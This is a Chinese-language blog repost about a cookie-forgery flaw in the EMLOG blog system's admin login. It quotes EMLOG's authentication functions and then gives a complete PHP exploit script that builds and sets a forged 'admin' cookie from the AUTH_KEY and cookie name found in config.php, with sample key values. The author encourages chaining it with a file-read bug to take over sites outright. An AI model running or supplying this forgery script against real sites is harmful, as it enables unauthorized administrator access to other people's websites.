网站地图    收藏   

主页 > 后端 > 网站安全 >

EMLOG后台COOKIE欺骗(鸡肋) - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 首先这应该算不上什么漏洞吧,说他是一个BUG更为贴切,放出来大家看看。因为利用起来比较鸡肋,必须在得到程序的AUTH_KEY以及AUTH_COOKIE_NAME的值后才可利用,而这两个东西都是安装的...

首先这应该算不上什么漏洞吧,说他是一个BUG更为贴切,放出来大家看看。因为利用起来比较鸡肋,必须在得到程序的AUTH_KEY以及AUTH_COOKIE_NAME的值后才可利用,而这两个东西都是安装的时候随机生成的,存放在config.php里面,不过鸡肋不代表没有危害,在得到以上两个值以后,只要对方不重装,即可随意进后台~~~~ 相信以前discuz 7.x的uckey写马玩的爽的人也不少!
来看看emlog的cookie验证关键代码:
PHP代码
/** 
 * 生成登录验证cookie 
 * 
 * @param int $user_id user login 
 * @param int $expiration Cookie expiration in seconds 
 * @return string Authentication cookie contents 
 */  
function generateAuthCookie($user_login, $expiration)  
{  
    $key = emHash($user_login . '|' . $expiration);  
    $hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);  
    $cookie = $user_login . '|' . $expiration . '|' . $hash;  
    return $cookie;  
}  
PHP代码
/** 
 * Get hash of given string. 
 * 
 * @param string $data Plain text to hash 
 * @return string Hash of $data 
 */  
function emHash($data)  
{  
    $key = AUTH_KEY; //将AUTH_KEY赋值给$key  
    return hash_hmac('md5', $data, $key); //用HMAC模式生成一个包含密钥的Hash值  这里加密方式为md5 key为config文件中的AUTH_KEY 加密内容为 $username|$expiration  
}  
 
所以作者只是在那不停的的加密加密再加密,但是却2逼的不把用户名和密码入库查询,so。。。
最后再看下setAuthCookie函数就能构造出cookie的值了:
PHP代码
/** 
 * 写用于登录验证cookie 
 * 
 * @param int $user_id User ID 
 * @param bool $remember Whether to remember the user or not 
 */  
function setAuthCookie($user_login, $ispersis = false)  
{  
    if ( $ispersis )  
    {  
        $expiration  = time() + 60 * 60 * 24 * 30 * 12;  
    } else {  
        $expiration = null;  
    }  
    $auth_cookie_name = AUTH_COOKIE_NAME;  
    $auth_cookie = generateAuthCookie($user_login, $expiration);  
    setcookie($auth_cookie_name, $auth_cookie, $expiration,'/');  
}  
 
看上面代码可以知道此cookie是完全可以算出来的,废话不多说,cookie值生成exp:
PHP代码
< ?php  
$time=time() + 60 * 60 * 24 * 30 * 12;  
$key = hash_hmac('md5',  'admin|' . $time, 'X6GWWug3mdlkIdMwXcp9%j6#F6vrVR5gabb8ee9df7b6e17fbb57f67c38296f02'); //这个是key,admin为要欺骗的管理名   www.2cto.com
$hash=hash_hmac('md5',  'admin|' . $time, $key); //admin为要欺骗的管理名  
$cookie='admin|' . $time."|".$hash; //admin为要欺骗的管理名  
echo $cookie;  
setcookie("EM_AUTHCOOKIE_ZrMieHk3O56bPNzXjFW4PjuDXMxBUPKk",$cookie); //这个是cookiename  
?>  
 
最后来演示下利用方法吧:
 
然后在config.php文件中找到AUTH_KEY的值以及AUTH_COOKIE_NAME的值,这里我的值为:
PHP代码
//auth key  
define('AUTH_KEY','X6GWWug3mdlkIdMwXcp9%j6#F6vrVR5gabb8ee9df7b6e17fbb57f67c38296f02');  
//cookie name  
define('AUTH_COOKIE_NAME','EM_AUTHCOOKIE_ZrMieHk3O56bPNzXjFW4PjuDXMxBUPKk');  
 
so。替换exp中的相关内容,我的管理名是默认admin,所以这里就不改管理名了~~
执行后刷新后台即可:
 
 


没什么技术含量,我也是小菜鸟一枚,不过emlog的确是小巧,看过去看过来也那几句代码,有能力的大牛们去挖个读文件或者任意下载的洞吧~~配合这个就能秒杀了

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论